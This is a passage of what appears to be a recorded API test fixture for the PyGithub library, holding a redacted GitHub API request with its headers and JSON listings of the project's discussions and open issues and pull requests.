API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"How to access logs_url's contents?","createdAt":"2021-01-09T23:26:49Z","comments":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"MDEwOkRpc2N1c3Npb240ODg4Ng==","url":"https://github.com/PyGithub/PyGithub/discussions/1778","number":1778,"author":{"login":"henryiii","avatarUrl":"https://avatars.githubusercontent.com/u/4616906?u=a32581e89b27309b54a9d491b7073657e6537aff&v=4","url":"https://github.com/henryiii"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"Dump Issue to structured format","createdAt":"2020-12-09T04:41:36Z","comments":{"totalCount":1,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyMC0xMi0wOVQwNjo0MzozMSswMTowMM4AAqjs","endCursor":"Y3Vyc29yOnYyOpK5MjAyMC0xMi0wOVQwNjo0MzozMSswMTowMM4AAqjs","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"MDE3OkRpc2N1c3Npb25Db21tZW50MTc0MzE2","url":"https://github.com/PyGithub/PyGithub/discussions/1778#discussioncomment-174316","createdAt":"2020-12-09T05:43:31Z","author":{"login":"s-t-e-v-e-n-k","avatarUrl":"https://avatars.githubusercontent.com/u/15225059?u=a70d4bde1715f244fe491027977198fd6c44ee3a&v=4","url":"https://github.com/s-t-e-v-e-n-k"},"isAnswer":true,"replies":{"totalCount":1,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpHOAAK7tw==","endCursor":"Y3Vyc29yOnYyOpHOAAK7tw==","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"MDE3OkRpc2N1c3Npb25Db21tZW50MTc5MTI3","url":"https://github.com/PyGithub/PyGithub/discussions/1778#discussioncomment-179127","createdAt":"2020-12-09T14:56:50Z","author":{"login":"henryiii","avatarUrl":"https://avatars.githubusercontent.com/u/4616906?u=a32581e89b27309b54a9d491b7073657e6537aff&v=4","url":"https://github.com/henryiii"}}]}}]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"MDEwOkRpc2N1c3Npb240ODkxMQ==","url":"https://github.com/PyGithub/PyGithub/discussions/1780","number":1780,"author":{"login":"henryiii","avatarUrl":"https://avatars.githubusercontent.com/u/4616906?u=a32581e89b27309b54a9d491b7073657e6537aff&v=4","url":"https://github.com/henryiii"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"Show an example of a more advanced query","createdAt":"2020-12-09T04:46:24Z","comments":{"totalCount":1,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyMC0xMi0wOVQwNjo0NDozMiswMTowMM4AAqj0","endCursor":"Y3Vyc29yOnYyOpK5MjAyMC0xMi0wOVQwNjo0NDozMiswMTowMM4AAqj0","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"MDE3OkRpc2N1c3Npb25Db21tZW50MTc0MzI0","url":"https://github.com/PyGithub/PyGithub/discussions/1780#discussioncomment-174324","createdAt":"2020-12-09T05:44:32Z","author":{"login":"s-t-e-v-e-n-k","avatarUrl":"https://avatars.githubusercontent.com/u/15225059?u=a70d4bde1715f244fe491027977198fd6c44ee3a&v=4","url":"https://github.com/s-t-e-v-e-n-k"},"isAnswer":false,"replies":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}}]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}}]}}}} https GET api.github.com None /repos/PyGithub/PyGithub/issues {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Tue, 17 Sep 2024 11:00:14 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"fef5ee4d1233ec6fb018b15187c7020b1fac0d04ddc4d2deff236dca26f07db2"'), ('X-OAuth-Scopes', 'read:discussion, read:org'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-10-04 11:29:00 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4983'), ('X-RateLimit-Reset', '1726571099'), ('X-RateLimit-Used', '17'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7FAF:367CD7:11BB5E:11E580:66E9613E')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3045","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3045/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3045/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3045/events","html_url":"https://github.com/PyGithub/PyGithub/pull/3045","id":2528623106,"node_id":"PR_kwDOADYVqs57oSc6","number":3045,"title":"Make tests pass some more years","user":{"login":"bmwiedemann","id":637990,"node_id":"MDQ6VXNlcjYzNzk5MA==","avatar_url":"https://avatars.githubusercontent.com/u/637990?v=4","gravatar_id":"","url":"https://api.github.com/users/bmwiedemann","html_url":"https://github.com/bmwiedemann","followers_url":"https://api.github.com/users/bmwiedemann/followers","following_url":"https://api.github.com/users/bmwiedemann/following{/other_user}","gists_url":"https://api.github.com/users/bmwiedemann/gists{/gist_id}","starred_url":"https://api.github.com/users/bmwiedemann/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bmwiedemann/subscriptions","organizations_url":"https://api.github.com/users/bmwiedemann/orgs","repos_url":"https://api.github.com/users/bmwiedemann/repos","events_url":"https://api.github.com/users/bmwiedemann/events{/privacy}","received_events_url":"https://api.github.com/users/bmwiedemann/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2024-09-16T14:19:35Z","updated_at":"2024-09-16T14:19:35Z","closed_at":null,"author_association":"FIRST_TIME_CONTRIBUTOR","active_lock_reason":null,"draft":false,"pull_request":{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/3045","html_url":"https://github.com/PyGithub/PyGithub/pull/3045","diff_url":"https://github.com/PyGithub/PyGithub/pull/3045.diff","patch_url":"https://github.com/PyGithub/PyGithub/pull/3045.patch","merged_at":null},"body":"Without this patch, tests fail after 2024-11-25.\n\nBackground:\nAs part of my work on reproducible builds for openSUSE, I check that software still gives identical build results in the future.\nThe usual offset is +16 years, because that is how long I expect some software will be used in some places.\nThis showed up failing tests in our python-PyGithub package build.\nSee https://reproducible-builds.org/ for why this matters.","closed_by":null,"reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3045/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3045/timeline","performed_via_github_app":null,"state_reason":null},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3043","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3043/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3043/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3043/events","html_url":"https://github.com/PyGithub/PyGithub/pull/3043","id":2523085920,"node_id":"PR_kwDOADYVqs57V2ML","number":3043,"title":"Add signature field for commits","user":{"login":"parthmishra","id":3813311,"node_id":"MDQ6VXNlcjM4MTMzMTE=","avatar_url":"https://avatars.githubusercontent.com/u/3813311?v=4","gravatar_id":"","url":"https://api.github.com/users/parthmishra","html_url":"https://github.com/parthmishra","followers_url":"https://api.github.com/users/parthmishra/followers","following_url":"https://api.github.com/users/parthmishra/following{/other_user}","gists_url":"https://api.github.com/users/parthmishra/gists{/gist_id}","starred_url":"https://api.github.com/users/parthmishra/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/parthmishra/subscriptions","organizations_url":"https://api.github.com/users/parthmishra/orgs","repos_url":"https://api.github.com/users/parthmishra/repos","events_url":"https://api.github.com/users/parthmishra/events{/privacy}","received_events_url":"https://api.github.com/users/parthmishra/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2024-09-12T18:35:31Z","updated_at":"2024-09-12T19:31:05Z","closed_at":null,"author_association":"FIRST_TIME_CONTRIBUTOR","active_lock_reason":null,"draft":false,"pull_request":{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/3043","html_url":"https://github.com/PyGithub/PyGithub/pull/3043","diff_url":"https://github.com/PyGithub/PyGithub/pull/3043.diff","patch_url":"https://github.com/PyGithub/PyGithub/pull/3043.patch","merged_at":null},"body":"The REST API documentation includes the `signature` field: https://docs.github.com/en/rest/git/commits?apiVersion=2022-11-28#create-a-commit\r\n\r\nThis PR adds the optional field. I'm not sure what the difference is between `Commit` and `GitCommit` so I added it to both. ","closed_by":null,"reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3043/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3043/timeline","performed_via_github_app":null,"state_reason":null},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3042","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3042/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3042/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3042/events","html_url":"https://github.com/PyGithub/PyGithub/issues/3042","id":2515754385,"node_id":"I_kwDOADYVqs6V812R","number":3042,"title":"github.Repository is missing method for GET automated-security-fixes","user":{"login":"BenedictStrunk-otto","id":174349371,"node_id":"U_kgDOCmRcOw","avatar_url":"https://avatars.githubusercontent.com/u/174349371?v=4","gravatar_id":"","url":"https://api.github.com/users/BenedictStrunk-otto","html_url":"https://github.com/BenedictStrunk-otto","followers_url":"https://api.github.com/users/BenedictStrunk-otto/followers","following_url":"https://api.github.com/users/BenedictStrunk-otto/following{/other_user}","gists_url":"https://api.github.com/users/BenedictStrunk-otto/gists{/gist_id}","starred_url":"https://api.github.com/users/BenedictStrunk-otto/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/BenedictStrunk-otto/subscriptions","organizations_url":"https://api.github.com/users/BenedictStrunk-otto/orgs","repos_url":"https://api.github.com/users/BenedictStrunk-otto/repos","events_url":"https://api.github.com/users/BenedictStrunk-otto/events{/privacy}","received_events_url":"https://api.github.com/users/BenedictStrunk-otto/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2024-09-10T08:23:27Z","updated_at":"2024-09-10T08:23:27Z","closed_at":null,"author_association":"NONE","active_lock_reason":null,"body":"/repos/{owner}/{repo}/automated-security-fixes allows for GET, PUT and DELETE. \r\nPUT (enable_automated_security_fixes) and DELETE (disable_automated_security_fixes) are implemented while GET seemingly isn't.\r\n\r\nGitHub API docs: https://docs.github.com/en/rest/repos/repos?apiVersion=2022-11-28#check-if-automated-security-fixes-are-enabled-for-a-repository\r\n\r\nBest regards and thanks for this project :)","closed_by":null,"reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3042/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3042/timeline","performed_via_github_app":null,"state_reason":null},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3041","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3041/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3041/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3041/events","html_url":"https://github.com/PyGithub/PyGithub/pull/3041","id":2515084310,"node_id":"PR_kwDOADYVqs566WF8","number":3041,"title":"Add 'get_repo_security_advisories' to Organization.","user":{"login":"billnapier","id":163577,"node_id":"MDQ6VXNlcjE2MzU3Nw==","avatar_url":"https://avatars.githubusercontent.com/u/163577?v=4","gravatar_id":"","url":"https://api.github.com/users/billnapier","html_url":"https://github.com/billnapier","followers_url":"https://api.github.com/users/billnapier/followers","following_url":"https://api.github.com/users/billnapier/following{/other_user}","gists_url":"https://api.github.com/users/billnapier/gists{/gist_id}","starred_url":"https://api.github.com/users/billnapier/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/billnapier/subscriptions","organizations_url":"https://api.github.com/users/billnapier/orgs","repos_url":"https://api.github.com/users/billnapier/repos","events_url":"https://api.github.com/users/billnapier/events{/privacy}","received_events_url":"https://api.github.com/users/billnapier/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2024-09-09T23:11:21Z","updated_at":"2024-09-09T23:15:29Z","closed_at":null,"author_association":"CONTRIBUTOR","active_lock_reason":null,"draft":false,"pull_request":{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/3041","html_url":"https://github.com/PyGithub/PyGithub/pull/3041","diff_url":"https://github.com/PyGithub/PyGithub/pull/3041.diff","patch_url":"https://github.com/PyGithub/PyGithub/pull/3041.patch","merged_at":null},"body":"This is only partially what is asked for in bug: #2082, but it's a start.","closed_by":null,"reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3041/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3041/timeline","performed_via_github_app":null,"state_reason":null},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3040","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3040/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3040/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3040/events","html_url":"https://github.com/PyGithub/PyGithub/pull/3040","id":2514385189,"node_id":"PR_kwDOADYVqs563_G9","number":3040,"title":"Adds List organization memberships for the authenticated user","user":{"login":"eduramirezh","id":1679647,"node_id":"MDQ6VXNlcjE2Nzk2NDc=","avatar_url":"https://avatars.githubusercontent.com/u/1679647?v=4","gravatar_id":"","url":"https://api.github.com/users/eduramirezh","html_url":"https://github.com/eduramirezh","followers_url":"https://api.github.com/users/eduramirezh/followers","following_url":"https://api.github.com/users/eduramirezh/following{/other_user}","gists_url":"https://api.github.com/users/eduramirezh/gists{/gist_id}","starred_url":"https://api.github.com/users/eduramirezh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/eduramirezh/subscriptions","organizations_url":"https://api.github.com/users/eduramirezh/orgs","repos_url":"https://api.github.com/users/eduramirezh/repos","events_url":"https://api.github.com/users/eduramirezh/events{/privacy}","received_events_url":"https://api.github.com/users/eduramirezh/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2024-09-09T16:21:19Z","updated_at":"2024-09-09T16:21:19Z","closed_at":null,"author_association":"FIRST_TIME_CONTRIBUTOR","active_lock_reason":null,"draft":false,"pull_request":{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/3040","html_url":"https://github.com/PyGithub/PyGithub/pull/3040","diff_url":"https://github.com/PyGithub/PyGithub/pull/3040.diff","patch_url":"https://github.com/PyGithub/PyGithub/pull/3040.patch","merged_at":null},"body":"This endpoint described in [the docs](https://docs.github.com/en/rest/orgs/members?apiVersion=2022-11-28#list-organization-memberships-for-the-authenticated-user)\nwas missing. This adds it as a method in the AuthenticatedUser class which returns a list of Memeberships.\n","closed_by":null,"reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3040/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3040/timeline","performed_via_github_app":null,"state_reason":null},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3039","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3039/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3039/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3039/events","html_url":"https://github.com/PyGithub/PyGithub/pull/3039","id":2514328465,"node_id":"PR_kwDOADYVqs563ytM","number":3039,"title":"Update PaginatedList.py","user":{"login":"sam93210","id":35731946,"node_id":"MDQ6VXNlcjM1NzMxOTQ2","avatar_url":"https://avatars.githubusercontent.com/u/35731946?v=4","gravatar_id":"","url":"https://api.github.com/users/sam93210","html_url":"https://github.com/sam93210","followers_url":"https://api.github.com/users/sam93210/followers","following_url":"https://api.github.com/users/sam93210/following{/other_user}","gists_url":"https://api.github.com/users/sam93210/gists{/gist_id}","starred_url":"https://api.github.com/users/sam93210/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sam93210/subscriptions","organizations_url":"https://api.github.com/users/sam93210/orgs","repos_url":"https://api.github.com/users/sam93210/repos","events_url":"https://api.github.com/users/sam93210/events{/privacy}","received_events_url":"https://api.github.com/users/sam93210/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2024-09-09T15:52:37Z","updated_at":"2024-09-09T16:00:50Z","closed_at":null,"author_association":"FIRST_TIME_CONTRIBUTOR","active_lock_reason":null,"draft":false,"pull_request":{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/3039","html_url":"https://github.com/PyGithub/PyGithub/pull/3039","diff_url":"https://github.com/PyGithub/PyGithub/pull/3039.diff","patch_url":"https://github.com/PyGithub/PyGithub/pull/3039.patch","merged_at":null},"body":"small fix can causing unwanted behavior in future if default per_page change","closed_by":null,"reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3039/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3039/timeline","performed_via_github_app":null,"state_reason":null},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3038","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3038/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3038/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3038/events","html_url":"https://github.com/PyGithub/PyGithub/issues/3038","id":2514060194,"node_id":"I_kwDOADYVqs6V2YOi","number":3038,"title":"issues with pull request review, adding many comments always fails, publishing pending reviews not supported","user":{"login":"johannes-russek-sh","id":165579958,"node_id":"U_kgDOCd6Mtg","avatar_url":"https://avatars.githubusercontent.com/u/165579958?v=4","gravatar_id":"","url":"https://api.github.com/users/johannes-russek-sh","html_url":"https://github.com/johannes-russek-sh","followers_url":"https://api.github.com/users/johannes-russek-sh/followers","following_url":"https://api.github.com/users/johannes-russek-sh/following{/other_user}","gists_url":"https://api.github.com/users/johannes-russek-sh/gists{/gist_id}","starred_url":"https://api.github.com/users/johannes-russek-sh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/johannes-russek-sh/subscriptions","organizations_url":"https://api.github.com/users/johannes-russek-sh/orgs","repos_url":"https://api.github.com/users/johannes-russek-sh/repos","events_url":"https://api.github.com/users/johannes-russek-sh/events{/privacy}","received_events_url":"https://api.github.com/users/johannes-russek-sh/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":1,"created_at":"2024-09-09T14:00:10Z","updated_at":"2024-09-09T17:39:10Z","closed_at":null,"author_association":"NONE","active_lock_reason":null,"body":"When trying to add a lot of comments in PullRequest.create_review, the github API will always return 404 - probably because the per-api-call secondary quota is reached. Retries always fail, since the amount of comments doesn't change.\r\n\r\nThe API could provide a workaround by setting the review to PENDING, then adding comments and eventually publishing it.\r\n\r\nHowever, PyGithub does not appear to support updating the event of a review after creating it: PullRequestReview.edit() only updates the body.","closed_by":null,"reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3038/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3038/timeline","performed_via_github_app":null,"state_reason":null},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3037","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3037/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3037/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3037/events","html_url":"https://github.com/PyGithub/PyGithub/issues/3037","id":2507589973,"node_id":"I_kwDOADYVqs6VdslV","number":3037,"title":"app tokens for specific repos do not work","user":{"login":"beckermr","id":5296416,"node_id":"MDQ6VXNlcjUyOTY0MTY=","avatar_url":"https://avatars.githubusercontent.com/u/5296416?v=4","gravatar_id":"","url":"https://api.github.com/users/beckermr","html_url":"https://github.com/beckermr","followers_url":"https://api.github.com/users/beckermr/followers","following_url":"https://api.github.com/users/beckermr/following{/other_user}","gists_url":"https://api.github.com/users/beckermr/gists{/gist_id}","starred_url":"https://api.github.com/users/beckermr/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/beckermr/subscriptions","organizations_url":"https://api.github.com/users/beckermr/orgs","repos_url":"https://api.github.com/users/beckermr/repos","events_url":"https://api.github.com/users/beckermr/events{/privacy}","received_events_url":"https://api.github.com/users/beckermr/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":1,"created_at":"2024-09-05T12:03:48Z","updated_at":"2024-09-05T12:24:40Z","closed_at":null,"author_association":"NONE","active_lock_reason":null,"body":"The current way of getting app tokens does not produce a repo-specific token. I tried to pass the output of `get_repo_installation` to `get_access_token` and the output token has access to `all` repos.","closed_by":null,"reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3037/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3037/timeline","performed_via_github_app":null,"state_reason":null},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3036","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3036/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3036/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3036/events","html_url":"https://github.com/PyGithub/PyGithub/issues/3036","id":2507131261,"node_id":"I_kwDOADYVqs6Vb8l9","number":3036,"title":"PaginationList.totalCount pretends `0` when not known","user":{"login":"EnricoMi","id":44700269,"node_id":"MDQ6VXNlcjQ0NzAwMjY5","avatar_url":"https://avatars.githubusercontent.com/u/44700269?v=4","gravatar_id":"","url":"https://api.github.com/users/EnricoMi","html_url":"https://github.com/EnricoMi","followers_url":"https://api.github.com/users/EnricoMi/followers","following_url":"https://api.github.com/users/EnricoMi/following{/other_user}","gists_url":"https://api.github.com/users/EnricoMi/gists{/gist_id}","starred_url":"https://api.github.com/users/EnricoMi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/EnricoMi/subscriptions","organizations_url":"https://api.github.com/users/EnricoMi/orgs","repos_url":"https://api.github.com/users/EnricoMi/repos","events_url":"https://api.github.com/users/EnricoMi/events{/privacy}","received_events_url":"https://api.github.com/users/EnricoMi/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":{"login":"EnricoMi","id":44700269,"node_id":"MDQ6VXNlcjQ0NzAwMjY5","avatar_url":"https://avatars.githubusercontent.com/u/44700269?v=4","gravatar_id":"","url":"https://api.github.com/users/EnricoMi","html_url":"https://github.com/EnricoMi","followers_url":"https://api.github.com/users/EnricoMi/followers","following_url":"https://api.github.com/users/EnricoMi/following{/other_user}","gists_url":"https://api.github.com/users/EnricoMi/gists{/gist_id}","starred_url":"https://api.github.com/users/EnricoMi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/EnricoMi/subscriptions","organizations_url":"https://api.github.com/users/EnricoMi/orgs","repos_url":"https://api.github.com/users/EnricoMi/repos","events_url":"https://api.github.com/users/EnricoMi/eve